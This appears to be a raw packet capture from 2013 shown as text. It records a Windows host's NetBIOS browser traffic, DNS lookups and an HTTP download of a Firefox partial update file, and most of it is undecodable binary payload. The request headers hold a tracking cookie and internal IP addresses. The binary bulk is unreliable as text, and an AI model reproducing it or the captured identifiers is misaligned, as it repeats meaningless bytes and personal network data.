ò<w? oo':{Ea9DCMtN!yk':{cSc5=':{2  carnegie-97af83Qcarnegie-97af83.<MSFT 5.07 ,./!++@ NN':{RT5E@@`  CD,8!yk   ':{Foo Three.pxecSc5  3Q6 <<':{':{  *<<':{':{  <<':{':{  !yk#nn':{E`!  LJ) EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDAA   5 nn':{E`!~  LJ) EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDAA   enn':{E`!}  LJ) EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDAA   nn':{E`!|  LK( EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDAA   #nn':{E`!{  L琀) FHEPFCELEHFCEPFFFACACACACACACAAA   y: nn':{E`!z  L琀) FHEPFCELEHFCEPFFFACACACACACACAAA   Ihnn':{E`!y  L琀) FHEPFCELEHFCEPFFFACACACACACACAAA    nn':{E`!x  L萀( FHEPFCELEHFCEPFFFACACACACACACAAA    nn':{E` !w  LJ) EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDCA   ͎nn':{E` !v  LJ) EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDCA   Dnn':{E` !u  LJ) EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDCA   - nn':{E` !t  LK( EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDCA    { ':{E   W  EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDCA FHEPFCELEHFCEPFFFACACACACACACABNSMB%!!V2\MAILSLOT\BROWSE`CARNEGIE-97AF83Ui <<^':{F(8 " 4<<^':{F(8 " EDEBF$<<':{':{  ) EDEBF$**':{RT5RT5 ':{ $QPPRT5':{EB"~  5.Tdownloadmozillaorg$G':{RT5E@b/  5Tdownloadmozillaorg 1downloaddynectmozillanet2 bouncer01zlbphxB[?$[?'$i>>RT5':{E0 @ ?$PY,p'$O::':{RT5E,@U?$ PY-` $8<<RT5':{E(!@Ն ?$PY-P FHEPF$RT5':{E"@ӷ ?$PY-PGET /?product=firefox-19.0-partial-16.0.2&os=win&lang=en-US HTTP/1.1 Host: download.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Range: bytes=4200000-4499999 Cookie: WT_FPC=id=128.237.229.154-3104688032.30253483:lv=1349334718032:ss=1349334718032; dmo=10.8.81.216.1353132859792224 $B66':{RT5E(@U?$ PYP$ ':{RT5E@S?$ PYPHTTP/1.1 302 Found Server: Apache X-Backend-Server: bouncer9.webapp.phx1.mozilla.com Cache-Control: max-age=15 Content-Type: text/html; charset=UTF-8 Date: Fri, 15 Mar 2013 00:59:58 GMT Location: http://download.cdn.mozilla.net/pub/mozilla.org/firefox/releases/19.0/update/win32/en-US/firefox-16.0.2-19.0.partial.mar Keep-Alive: timeout=3, max=499 Content-Length: 0 Connection: Keep-Alive X-Cache-Info: cached $ <<RT5':{E('@Հ ?$PYPI FHEPF$G- TTRT5':{EF2"e  &523H downloadcdnmozillanet$i ':{RT5E@a  5&7 downloadcdnmozillanet G2-01-2967-000ecdxcedexis!6i%wildcardcdnmozillanet edgesuite!_/}a1284gakamai!22$s >>RT5':{E05@ 2 P!dpG]$ ::':{RT5E,@Ҹ2 P !e`cA$J <<RT5':{E(6@ 2 P!eP EDEBF$]#RT5':{E7@. 2 P!ePGET /pub/mozilla.org/firefox/releases/19.0/update/win32/en-US/firefox-16.0.2-19.0.partial.mar HTTP/1.1 Host: download.cdn.mozilla.net User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Range: bytes=4200000-4499999 $$66':{RT5E( @ո2 P !Py$&&':{RT5E @2 P !PGHTTP/1.1 206 Partial Content Last-Modified: Sat, 16 Feb 2013 00:52:02 GMT ETag: "15868fe-e1f5bb-4d5cce660f080" Server: Apache X-Backend-Server: ftp6.dmz.scl3.mozilla.com Content-Type: application/octet-stream Accept-Ranges: bytes Access-Control-Allow-Origin: * X-Cache-Info: cached Cache-Control: max-age=188158 Expires: Sun, 17 Mar 2013 05:16:04 GMT Date: Fri, 15 Mar 2013 01:00:06 GMT Content-Range: bytes 4200000-4499999/14808507 Content-Length: 300000 Connection: keep-alive $ǯ':{RT5E @G2 P !Pt)qDŽY?p;IDٳ;*&G{i'qZ@h 樛{LΫd|dvN۲Ɏ 5 (fBO{`?|h[ʼ%7n\ɒ'ipУ{Ikh0- (KRzbh'QΝnQѐ%Ҁ"B$ tU9Za):\RrH\xomG88 kn 3s`ﱖp|=YĺBra3=~/}%ENhVl3BrG5A\z{[1uvBX2thXRDvw[C@Df'Y˥~ۯci);!hiGwIsYc؋^ m֕ۼ['odloנPk(guƚu^g!!^|JqUgfp! cNofJ(4ro  LqinYPV?r_zhm8 Qˆ$IAa=,~YEN!p~ۻ3v8g~֨.+]2[Oa`ً|Ll{vt>-+{~[Gkr Rf /̪>Gq;cמιJP"XH 7S;Ԝ_ܶyufߖ[;J_;ʹˆJqyz!= M:'!; S!A{xܟC˩ܧL+y}^U6&!)Yd*JI;.Z忹+v #B~\ x5UbwD6ĽW{V6cM4_izs&뫮s | ^ ]ukdS'u^^Eor_'[aq$>Q .W ?d}btExlv_fp¯}3 Z}kuS}Wix釷כz_D.@a' ~ًߜުXDd܊sS#O7'з$qB.(4ܫ/eM `s 6@ep?r S즖`<.9~ ~~ttB5 Y˧ډ% n y(#}}lA8D)P[ak}'^|ֲ>GɩéNvH_k 7뮫Jq"F\@j8c3[<Si lv|)/z/WCfou,Bz?skߤ[GHJ3{(=oH ]IpBᦇ lE" +VP= Z5?+&}oһyN׉Szc֤_9ty'^ 3D47 [tY"0Ӡ(db*cCxF~ڵ?擙.pQ|*O 3[tl!ݹ?^eǹ} 븎N),x},Ώڃ7" xb-?-kyIrjNf-Zh&r:_9XY?r3c*RCBl\}q[+̟iŗ%E[~Kj(w޷8oM&E5üTkx00K1" 8a v l1/B"PUִׅm]7*lSDRan1<8{}])}t/SU Tڻy,0M W)NT6҄! j֬X%)\hO %T|5v|25ޱ<73`Ӣ$Y (`GF< 6cXXg$o0ur:݄>֤ZS8 <M7K t?^@f:ϊ;>!a0q'Hr)O Nr`\u9:ZB‡>؆|*"iNhAzﴠivL V['/ÊLj+4 vP}II"Dz)1hl;_m'/H"JcǖlQX >d!d.Jsɻ$>ҷs,57H!m\iw?+E$RR':{RT5ED@2 P &!Po8 9Zu bpWm0$K':{RT5E@C2 P B!P|OÖ/;hd,ϝΖBT $f:2(9 Tj\4$ Z6H:K9Um +LV_p K1KH Τ&.&XZ2r:Dň[TZ}4X(|3R賋\'RP8g%#4Q0) D@DMdL}XEO@4vB\eFU\l/\:">d_ @u)L}^!)M4ѩnq[B&V E蜫@uB:Zp^Ϭpz/3sR66Os͑gEc&82-j)rGWOii >Ѳυ'#DHQ2o-t5ǯuN:E辅s~,2%/B rWHզM=?dpGb17Q=i߬>]b:OE}5ZZQf.@ &?C^tPs%qit?Ɛcf)F[퇑 4 &4'{DT[Q_ސEd+Me-g\_+Ékw .Y>~ڭ`:7m5~5m( {R ɮ|抁k<ȺG0bvؙhS~@_dVmk^DRʇ6a]~q-X|z;ɶ$C) Ix v%s>,>Ƴ@Es0dg|f9ܔ#V6I//Y :_g_XADKlr-% }憙5вXɩ(A q)2'\ i&qN)h bN/Q%:݅iF0S;$ !|\Iֆ`]uVPShroIMkTcz~M>aXr#ʙm~'p_g?U߽ u̺f;H$x$RR':{RT5ED@2 P ο!P>q 1Ag6V3ۃ#R7$(<<RT5':{E(;@ 2 P!&PHw EDE$3<<RT5':{E(<@ 2 P!Pk$':{RT5E@A2 P !P_c3" ^:c-{<>/@c3yZ~;w Y9ϟLY4G}5BɓDfEN8 pHwE:s3FGM|m88e[HHrS^'Y0'NU@C*9y<9لk?q{XnBv32Ot-x)dCNGr26JGg)0Cd*Y{oءK9krS&k{I({muhy{6/{Ё}D:}mм'" 8xF<K62-8:T[d80g#($nC2$3KXiPa{ٕ*Y+alL5HoJHt1B6C:[@xœEڐZUo:M^nE~@CqPOS9fh9cS22=o&!p)ڹWK1⟨bKP3ySl߯ 央bH h0L~ pqvhYcPa:}UKQ- o rM '2S);2r7E՝:'R=/Wb̧`Y,B[g;ƱXcm"tƤ 2O~ StTK['i00O1+Ϗ2_:8}tmI^tӳEsgJ= 2ޯIsS߻KW)ULGn#!Qy-D[Leϡɥ_% J4BCvj6*{yYdhjzgk:eh 7gO8A$ZgL2M l1m@뱯nClM.5*Pau!N!\@|\4ep#w*JLM<$)!G3M Rʈ *ͺCzp\wEDc^m``FR H3;9#.}ud`QV,BQMU{?دtnFG\;cH#\ ֏hgrtt> +<z&[Nn%yWJ>:qj5 "jDo=+jkf< -s+d}!kxd#NllV_g#s=.Qv[V_iqcif^g/ #HJE$=eiD{bQ (p?ub6xSS\189$RR':{RT5ED@2 P  v!PJC^_xm#Fˢƶ{o{rR$'':{RT5E@?2 P  !P M~7 {l"QXLOiãRe9|t;7H)]6( mY<_lfqo_Oڷg8BD.MnrM0nzYڜ5 \e7E^3C6OanyZw2-<'KLp,;Yq%|c3YU7(Y[8#?Tbp>M#}r}W[sǪh9.RC  -_;uK~n]3>TA|bӸvwWd8b4cԷ.)g>,5e߅ffN;}/ #4m7D?v%4ҷ=dk*2qv/wH6(3R`#X*t6 Ng |fas{׵H'5י̽õf:〾Dp/'hu%pZh  ~o'pׇ0qrPMPޣ2X̕B5"%GdS4AmЖYzA+CvEh@'h5:R/Z$~VI!6ųӱ=گ(0p?mmp`PP PmZkT$6ǖz6KGi4p$tOi{MtwvC'd9}7_6&߄?b+C2o뫤U~'ZWw/Ҟ|;}Dpja#yg_86G1Cǿ~su^}H0tz^@ 2 P!P`x$':{RT5E@=2 P :!P(oƅ \P=dh {7s3uPzwp={BK ȩ\ z (A[wi(MBF27Σg1s"q#Ȑ7I 9,esv;D9]B7+ %o O:#:Yo!jOG-h ש&uqKM. ,J\dn2sVJ'A(>̼3>l-ˣugi^įKBޅ6^WVἋ'bF*6E?>4iqi>Tf\ۺ$`&@ ;u j9}hv}j~5;D;G4F(枢x7͏̉kQ[V!Y5gmMt^3yp*p]Hd`<-dyp.P;nB b)oK#9?Bd+ h1j=AVЉ<u^`Eݓ341pwL_*4f dqj`Ce` ~" N.ii9-ދ>ojBAG_& ʲeWо3&bTx:@c\-uXWy 7>h쏨OwQGna\: 'Sxڕ8'Uqy$OSzS] r! g\PѰ>M{kpk`h?5-5ۉ1I\{xӆx;q`_D2j )Ed?w~wt.N1`c'y$NΑ05sHJȳȨ=MTe75 !OǗ/(""" 7"}BL%?( RcGDyI#fNqP'@C%qh첌h0q2]kmxp&=ς[T?#Gk]I@𻞁`UnCLWFoǗQN+{9 dЁn y{x3Xh[8b)J2<7($o1tk\ p@/ސ Qj_;% +}J¢nu9/vlw햏k5Y?$:y|bK!ކ7 pYzEUY)"D0R4<6=mIR0C2#ۜtefLO=_oAPb.bVs0_4$RR':{RT5ED@2 P n!Pm9HC'àJIB$':{RT5E@92 P !P,mZ<Od8ur/EFKobuϙ)|JTo>ޭx, n̐EoƮ=w'x7rl v* #g`na0f2TÈ-Hpb6a*u|0 s;<""@ mH-fay'^8Q~>OKrDK?X}Ph1 (!kfp۳amc3޲˷cyKFP? {Dm(jn+W0Zw+v{V:̶Ji8LJ^8ai0 z,0 W-LK!eY1p&A=0l# rDS z%FeVCƚLB6jk*011J<}ƜR1@dKTqǂSӠPvmNox^+-KQFtLJ$A3F Վ s8Cݠ`0D@D~] [NX}rO_?~D/P֣?⛈ qڴ%ibW&JXȕ19h\ŵxTB'N 1Mɕ*LCYpѳ?N~Iھc,ٕ^1D?[h_; wӓJ <9w^Ք3jN.R@!{႑^OFF|t&ĽU';LD/%~0mK`/L|cA(6v  wAq(7=l 0Ue.y8qѳ@*7Iɚk)c+bC1ݞkfz ک ," iwCx/tRD?o}i>)?  {G' [ ds-eF2y$JcM\~D3٠"< P [ٲBcnNߙ^E E&ܼ}:o98#ܽЦӸz/RE}%EKI!w}(η+c%%Ɩ:מ$4RR':{RT5ED@2 P #!PJ^WXE;x@Ϫ86Yz$<<RT5':{E(@@ 2 P!nPU($E <<RT5':{E(A@ 2 P!#PHU($':{RT5E@72 P #2!P [6RY>My\݃n>Ӄm12ҶQGJ]ٳ(< qd]"-.,c2@^Mh k/e E4ώOnJw|o0O`78{ h 86SsMTmp02Z7;N#럳~ݕ>aYxh3a2:*zV8\NN M mIS1:²R6lkvр=^CsBhYt'=dgF^Hxu751J1cVBuPw?==dgߔMqx&f[gso:J[8^`TX9,u,/z4Q}5|ڡA[N\r\pp}Z>LZ .nM[@tc3~NOڒ@ߊ>ytrjs7k;e /{>)9AO~=:0gRL.{f]N]?8 }'"辢elq2_NF6iG֟}E^YC]Z緽~[fM»T O+d]v6T{F)mV" vQ}BFnYkڦ)f| mb{5=E>%˛}WXDA'n\3i 뇏QY4tY%kssynitÓ7V.,JzC] 2#$0LRHC;Fgß_.c\87:A Pŗ1[{e?s}EkOIO}'0hNaCYpn.hM8йMˮv?(#&V +\o$hh7/a!Olh4UOdy k|[a#>{32 !Ś|a5O@# (CT@HF!kp(ƣ;E,ԩUUΊ7FNK|n4]Ӎ1}j8 c/u1Oe 1vW6)VRq5m}wlXч.$JRR':{RT5ED@2 P (!P_~?_s1t:ͶWT`pak$':{RT5E@52 P (ڿ!Pu.q}򜄜dѶh7mg9[ l#- ƝFX]?Ƣ8\qYnj̜a^o-1jDvt9f[tjk|" 6{ޑ82!YVP(s#ң@;W.R~b<)I``ICYDSO#0]?`w$ 3l:N{Bw@;-`Zl"x5$'u=뱵M ֽ O3ϦRtJ=sH7x.qsdŧ hAKA\[4aPm`).WA$i֜ьc#mYt &Շ3?z̟XXwZEJNe14#Kl|QHGd8,h A;ޙwT[S#/,hAz2ܥ*D2oĵt +V3ڠjZ4I* EԤlʔ\"hb霪n0ƙH߅CHNC2hXt>EMh\#Ų2n^4SUncmXE%p8g SSQʺU n1($y)l#i-AD?%09OY=ªc{Z8j}eŢ TrRKK`̈}he%"%#%8㎙5, #wojWm& S%d/Yk%vC?I$eٺr. )q(Ƀ)2efgh30!Q ggXO}d4O\]4I Pwv4Yzk|* ep~=e ǚ*剸gj8?(4 CPͦ~yYꃉo[ G?~ }|k.-8yWA^`.ޟxaȒ9`$(RR':{RT5ED@2 P .f!P%9[hnϏzk=D$ Ƿe$<<RT5':{E(B@ 2 P!(PI$\!<<RT5':{E(C@ 2 P!.fPHI$M%':{RT5E@32 P .!P<I stC9iᯗN(@le*IlKKZjN҆[wf8m#s,{眚խeFULd" җ;GOqY,&Ǟ&5c7&(!("!12URU's=`q 1AB$Vg \-%de0h(@b/}7& H_ M[?PW'qeR(mf5/go[y2{ݗ?ied=5D]l<Vkut|NVݿٓ읪U&ׂCV:sXt+\RN2OD07l{R9,O_OP|tǩDz%n+ַa ez{Ο e36xC}]KbGg%[bcO6\d}|Yߡ@(*0޽V@ U6Nz׭0_=ܠCLE"]Qu<=Kriٹu_aO8_~a {ŝ<HO=ǎm$O]=5Mv(bcKR$^2AdOF'4# 1/]Rtؓ6'CF=oBNټ?<$ JqW :vr2'\=߻M_cEZt>3xIX36JP13U*#hL;#/iWqj}϶S]=ɺH!^zmPen}-9d}OWlBYYt7gOE|걸Q&ֆxC@;YJVZLSjTmnldG]**;#9#uQ(3elD[ jOhٮm/vYutسkvB#GjKE>N~VZޟWH vJO/&`Ma}v;W6GJURj+[+t-e6Vf |$%':{RT5E @22 P 4!Py'eRO)dQ_Y-*J>r_Ʒnϫ =D˘41]gwHdϯeXkgH^.O.eG]8%_J)E&;$( 9h7 '+!"IZ{Di2^in )`Vtɥ9glNyv ߻""?7H1L+9'bB]Gngr7>"wD D9S7+,(B@@؞X  #2dg AR&}KaPCd6C"Jלd}΋hys-{ 8.gŸ#>9,h3#5f{x"#ԅ Z MYp ݄:dTW>v݄J.2 R9g` v~XI0ADI 5@p[6Gt :\@;{ڌFF/CbX]cd@9sy'j_ & cA|e崞=jU5;ZZOɺ^nDc B-WZH)ro@ZY;hJ{+!6]W*]O˿{t^ߖmˈѿ!nPز/|jW#Ֆ~I$ѝw(IcndZ*\ ƄOlkãd fn,i.0TKp!aNqd\ 'NT'-85iTQ'~: eD%F';"Qz%N%+/βg;{bl|-g/uMwc rufI ~@C!owTYڮ ֌"Ap'),N8͸QqԮV 7;u/@/D Tƌy `jx&@bADr = K-Vskⱋֈ~`?b6 -{߿Ķzyi<٥I=}2H/tlo|\[A)Sjm  /\(;3_pJғ)OZCX$ooH *O|OtˣIe7QS;Z()cR` 1ߢJ|>VOa}`p!-?J!՘qFO8{-hm2SW~˾Wv.Y:6q@kD9IH i$=&nn':{RT5E`!@2 P 9!P?9ЛkU=#;4bJ(vOd0t$BiF{vڌ$(<<RT5':{E(D@ 2 P!4P>$(<<RT5':{E(E@ 2 P!9P8$B':{RT5E"@02 P 9ҿ!PUO2Xkep/D5g|#Ŏ(C+@u߆x`λ<@ uonIZSNՌۦ]FKÙpopja?@GJ/" ״ 3Zbns!ۂ?=6ϡh7gZoC7]'rj;YOs1'gw8ຌP(%]nPÚ$Pc<D$<ꬹOvʮRyЀ)rn3eVcc/&Od;-n ig3~d eVY>JoN{I 1Elakm0n{Jz X5CN*KӁ$0d( 0P,AIuiGꏫC^=-ZBu4 y*RYҥ)K^ޫfĉ/4uIy{oYb6NV)H8 ʱwx0BPǥ|Xq6ؔ(oh/է¡=hwx~_`Fv(xkkOQ$ɻ>(w^8ƢDإV%āE=ʡj|'@A;+0:w/ґ+h["<%̇09sN]~]׮Y'Rk t8g:x|lh9O~MP<956s&t#2H|;>8QЖVPwM.W oÓ;N+۶7?LҶ=M}Scq> e6@T}~or>k>nˡKK~[skpvi'q6|9?ϳ8#峮%`p>s6^V}~3GϠz/Q浝}'rY$ ID2]6Avt%1ypB:X'#e-&t_ZV2=,J2RY^i=@Rw.+c@l7Ys6UN&G/dn\ m//Q>m\_EA0ZEX!& }bԁ?ak'%:~sSh?%>X%-ȐU(2Pzŏd6L lb-!NkP #RzJ La)dxOxw?L 6^OCQ<|'rdǟ=E sLd8fɸv{?GUk?SJ ].fMi2%;RR':{RT5ED#@2 P ?^!P0$9bN& xeKqv%r<<RT5':{E(F@ 2 P!?zPH8%':{RT5E$@.2 P ?z!P/}V@cۻ*Ч{P~,^4-}fcm.MO:|眜 {g(mDNv]1vɖ</oz-? qH_&mn{08gb;fVxEhE$WıPlؔNUؙg.c|yZ~g??$٘&IWǖsB`/ q1v̹^󽖿1?_}Ǡuhh1jWzIAmzqj5ư{q$Yp@&`yKY@B6Xykr@%^Bb(j4{@kp9n>$`K wkkMLDJER4/?2)G)u]܂iq~ dX*@[OKKm*$%iR a CO,J%kx1bYȈ8m 4~Nma:Ӹ@nyL rA7vZuiB_h8yj1;>FI :hBU- j&biNIEo4 ~/I\ XZn g\! AVP1ȉBh^2G9->o>rYyFV;bn1rν )oݜ:^vp t#Ď+dQϨ|,L r!()chcޒgJ~A2N61PNo-&ŵKmi( )/9/FͼS~'Fp&I}mOei#L~v{SjmxF/:րOxΓH1D5]O62HhJRty$ "aQ}>w>t[, 劍i8V% wg@PVsAES̸8:M->dsSm|1Wx)Sa&I5&\67|đ@!$P|?;k "orhyo!u3#MV8?UD!CO++ 1,1:]ۂZ(>M;eD ;O;x@F%RR':{RT5ED%@2 P E!P .]Qw(mq@y%':{RT5E&@,2 P E"!P5'Z_MQ#46ܚ=Ԧ-Wf֬"rvNpM \YKmDZ0168 gWT@}Pr߿Mq-KfF@Z_ʘ,ٷ-uXvD』oi^gF`SXhq;mźCg޵W`e ٫.1|^hDȜJN'vIz:̟kSc^Q$~/.qwC ~;* 52`} 8uM~'-J=9l`߯c4dޡzkfNI\?E[ _T񅷦ykg*" hI}"gQHP^ORW6Rn=A1# `ouv~7 M#3}Gl4h~҉Qk*|,Njۑf3z%#3kvF'=,$ 9<ӛJ1CHR|[{GP0%d?5dA iK?O@MDFʐ#bPøh״Ƅk؅S^C+]!)`yФ9&Ui߿w+XЃEI0PmT_M |kI+PВUT~|Xt8y`JDydv̆$ !xY22i% 9a ?' RBqofJ}e2ݸ֥oYxuy[,\dN7hC#XgY$ڌ"@c\2eku:\%4ػ]Kg{IљlG2wN*TZQ؊J=ԁwBjc @cIR^V)| 8+?$NRI!㧞I q! x^ݞ;FAFlf8xNm!ӵJgM^r%?RR':{RT5ED'@2 P J!PcVEl/yv>!ݱ4x %<<RT5':{E(G@ 2 P!E"P-t% <<RT5':{E(H@ 2 P!JPH-t%T':{RT5E(@*2 P Jʿ!P/԰}-|V}=m2A!A* V΁ikVqOl~ԵωV/@ l"@%Er'\q-kXvj*183 N~}= mlEru#>/\q,^-(KDw:k[g/碝X |mwT$A\3u>fU]fuQcnyĠ>؞KO$13:q֩eˁ{nkQ].4] kGUB?d1_c;Å9#˕]gk\Pmg57 &zSҦdA/ ^Gsn|hdɘoți{qBq@9F"Sו 0: V4'~?IB*Iܤm*;U oT)\@ Y Hgs6o|plXeHȷ(I%1 f.K ϼ ( %CrT-v&aZX r%RR':{RT5ED)@2 P PV!P45K_il+%Xw%4':{RT5E*@(2 P Pr!P}]iK ]8#&No{cr+Z

`4. #Ǎ 7ԫȶAd *{KCr1ft~'|3,]M9]S1+ t' Y B}XSBO;e s1,ٓkA4g` }xޘ7'(:; `-B@#u x":~L7Ajb1ZW:}W2eckSbطnOfڞx0]3ËōnK*ʜ4ꗭBb{-QgbqGhҜݿcg>1ЗAekP4[e@c>W@ grO+lR~8 ҤIEYWFP' $D⊁w|VJ\+g`frfmhsNcs,޿ 3P,5lO$M֮U(o$x0)`$t^\t}ُsu0dt&2~* (:C~9::vB~-3 sX{;SIgS!AbkhV2^EWQNJ>oONgdc..E ||Rbhs<)v{shՙ_!fhNۍf:oO4 EGpgNOS%^v:yȟ&,raXw.$}>wAQb6G`*_XMk{8<ȗq o/2/~Xyf9pES^9mNEv2Qxj xh3&&P:3߼yDtP~v ᢳ&c{vdq*qp \ST] f(@GiJE RjU?O ;A|x_&e`39 =OM/.it>{ZG$LdI 13ḽMʂI K?@ˏU|N%ྀ$ ~D#D^M=ci^;-g2UEIU2boo')Y^9h"E3ږN{W\EBR0|z)&PK'uxN{ze-B٢Y%'RR':{RT5ED-@2 P [!PuwtɱYњfʆdW%*':{RT5E.@$2 P [¿!P:s)8g m-gIۋH.Q8}3ΌlvM Q{ܔ4镇\8a@I %nj- QnۓwW133 Eh,!u~Lmvh$$ .!@wvrQ5-M?a3-صհqS]"ZyW@\8h;,Og`qqSu쬈kaw8g0f,)eiy_|Su;+g3ީY}dҷg 6rvm |@)ó+VqA.1B"@}'_!q͐k =o0jp\?FR0=?YvRH$OSG~ass[+ϩzJ@<%µr6!䳼f=//D+^ =*xg>\}'=.8IJI_Aȁ d~<^U.kς956uB=f~cMB3IpouK1n,+߭t*אU=cF@#ax0W?ظg~skkaD>b1[%҄3ZD2I$nΒn:.8 vH;]}*h(Iэoaz^n.1ap;3` _JY-rC#]s(9ށ fȯ" Am^NߜA(ś$џx-6ҟPWPuoo -Sb@@& Z[aHÙYTԨr߯NEBYsQS#,Up+AH[rƢk bk@fGQ}&>~B Y3D.T8՘oxDqyeǍ{\#͟) tv~yH*ՌG]Z@TæqyO8U(? 2ۙ4 .sSƝGkۣflQ Z$@_pyx&K~?/UĘxW|~5ZY4t$n?{0AnTXN *d(Ar^B)&$I0 5C,ty_~GƊb !5'qR_qtʾ x/g ߜz4 &Zs#X`OFԕ fɲJΒϸ ZBj)^S1_oo%+RR':{RT5ED/@2 P aN!PۡC# 2Yr.%+<<RT5':{E(K@ 2 P![P%,':{RT5E0@"2 P aj!PB(c}O7Y wqn!Y47eT{nQt`ab,ϠTNI;98zq HK/Jg47K+gpjf*zZpbC7G{"''Hõ>ț{l{E !SY,pqK,FhkħH8xWtoB݄ڊV1g+q񋥌o 'v:O~g!Zpvr /.̎(]A#xf\h3χ"'TOq){;Wȝ։yQ3 Pʟכ=8׌|^N=| >xNb[O"Wo?&{ShϷbt`j:P;zoݼg?~^wR#"m]GnWu}YV~%Q#K?V@Jjd7\cA@!@L'Q+t}UJ slemam?X~ \ay"Ztm~!5ݭ߽ݎxNꂅ^Jd*OMZ w]̪/~6m#9%G` |Ap2lXE{wR3R'o`S}FK~5[)a"_Vdl&$)9 Y( (lW(3=9>f-oO妐(R Q(g55kϽ({sE ⒃pv,fϻz|.Ԉ NGWq[p)Z˱Od<$HBiv ۏ|f[9∌~@nkQAfFM)[0=s(͊rn^{i;e5frX k_;ch\,3$|=PnTa/c@cL̸ 6'k`mjOtrJ<}pK̸beHEAd:[dH5. k;LyٞSHF^6yqFd^=aA &BEg01aUll69P2HΫ]?bD3 J2,3/R'(OvTӘ7|k`6r]}PZ5j ¤MQmCC+;a1\ѓ) ~'O<(H5꛳a}]ȷzJ v1k81ܾJc$B0,r%7-RR':{RT5ED1@2 P f!Ph>73JZtAf fLU% /<<RT5':{E(L@ 2 P!ajPH%X/<<RT5':{E(M@ 2 P!gP %0':{RT5E2@ 2 P g!Pv YEJӱ}[;2 YA\w@ՠ/@9DT^JceB鿏rHKK.WoCAy|dhZpNV.U|zu^_k%ё֣98hh]$|Łb껳$Hؒ˰o/۬[ wS<2Zm\9S0k3 `c M0\g ^ˎE.ݹO>ɍF6jqLiKU}Ƃ<#Ss|8SZ^n#.re&88 Ef35ulyz^Vqħ?9u<<8!҇* /V3L`g0v4IbnrnKd!fF2~.WVoݍj+'DiwjQd6vv#C$~fPLEاc *V5Bf$/{5UNٵЬ"k;#sH@n:gm]rDA$s#K0.jNv7a7ɳNdl"K b_$}EPI@XZdDEYwyYdrqn)=L$\Zdmк#W4i=Xe 8)R*m1RR':{RT5ED3@2 P l!PAroncm6Yx~7ZD4 %4':{RT5E4@2 P l!PH@Jo.J.SNrr \ٷ#= ?y)_wr: Z*2{˛{+롶ڄ+,L]- n=cq7GT62|W9 s+ \4|b+Fr*T/?eeӫh ;_W~Ambܟ"bG~2,A%YJoOiQT7F8Ǎ#Hm >\=GAbxOa{_+.dfZB ciJ@6-Yi#P1m [-n/yVdzhnvSW Z[m hOeORGY 6ٗg!qܽ8&뙫6k,?  Z0~J75}~.D#G3؈Db"-* T|5  MTUct|N L\VD13z97;DrM[0-+,E p½]uoPkM -Vc ~@ `DEmh+}f@ [ }]oYGbY|[02';S(J5;A8[W ?&WW썾Iו$1Iˢ? ZX\I <@E PCHƧz?d9<ΏkZҋ|(,XV(3ϵ^TZu%E10=w;ۨSJ`(#ű*"'mł*Q1[l,FETT~y`uݶd0 +jdG^MՂ|Z &nwj&f^! q<'(Ra֜[O 2F-qJ6` Q@2b8B>UN[h%~Q5}0^o>KB8D $WrI{ Nӳ7ȟGsoHnx@wGZEYàud +R4S  ,LBf6[UW'Po{Č<];Pgʓk3X]W|J?Ekrw[VyW$BU,kdـ.QߧkN;pce65"K7pPBo€ !Gh,>i[GDcei м x$H=})u݇MUg[?mM_ŴKAQU hoz6:>_g?Jk[cYpߴ)4e"4T46 }m)DS]8埏c=&'/y<I6QDOgnda+)8$Bi$z6]]># qփr7/]dI iΛ'Boe%[RR':{RT5ED9@2 P }!P=f ag6~Ӑ/%/\':{RT5E:@2 P }!P9N,^ɥul+{[MCqa^3&<hHbLd0 l}?68,day"ñȮ7:2驔88Tn\$$j*kBg6 Ȼ 0Pevj"C@$0LU89^^Mb)>G*rX! (FvEsY/-mN78څBw180(tkL$<@;̐;nIn0vNtPx^x*s3<^r*[)VCy6MN;'(⥰+텘Ŭ}RUUrqڬۅ`k.N[Sd`i;;oùNIYsz2ŞhѻX`hIl!\8DRHlyV;)*H\Tgx %!` AqfƳJ$DkVsӺ 0hpiSGq'4N:8W=9.ȁ;@:f'*Q1"ۓfsȄ \EEPPXhu:N`ay;I,\ *q K-t|A$ZވV|k:$JZk ▄-tpvr`4*v oz =`iaI3s\:㡌1 v}XoõvC'9+CQ rɮ6ø* T=OVBN)ͲEVd4[BL4mc !"LHz4}bf RT cҔi^&Ӵdq$RI;P;'r`i`v!O /Ϲyx 7- zzNHATN}ǔC0D bs7d#2቙)`u}B nP`v{O~ Z̩dtM@`a6;lB!]_ӳ `2V+PYY6l1H36WwxQx2x ,] ]G2S:f2$]+r/k*CMC:6 S7&2FpŮu]|04yO$l 4c6%j4BMq[e]}bL?[wJM|ג(Б 4g J'u4yȂ4]~o!+ *3GUk-IKE'݌GPE&.ح4-ۡj %l4z;T!M`,離ddٚ Le@TĐ{Y M!T`irN)զ^K6޴QvEϴ*aGq{:Kw+(7%\RR':{RT5ED;@2 P >!P~mct3D] &-%_<<RT5':{E(S@ 2 P!}P%_<<RT5':{E(T@ 2 P!ZPH%+`':{RT5E<@2 P Z!P b0c !KUs`ܚmA8aZ?YluG+HK!]DUD)U!,,Zե0$gH5)Cʋσ(L@z4T3TQhG1O,ڽA 蝅jyC^~op`'9ӿH*H@ CBy(u)xbCU*8&\6?xv-bP6hf8g2̠r{7XcAF&5KX'cbވߎ&YAvF<}B(WC^ۤFJfGѓb<фc`$|2DF" zg ogI ۑ?u|9K]Suߺ[:<(JߡtQ-<))EΚ  Ho> zc~%b}rN@G@ԃ0q-n$Kd,~?lT9܎rO0 1Ffr7osٻdU< `*":ZϢT- 75d>zd'IgZH!@5fRUBo!҄xͭw;ۮ[ JqU#G'EP}6pXUO9ʙ3:#\),+F@ x!1HR Vy}7\F_Ys=%B]ƼlL礐/H@GVxBH֙k]v 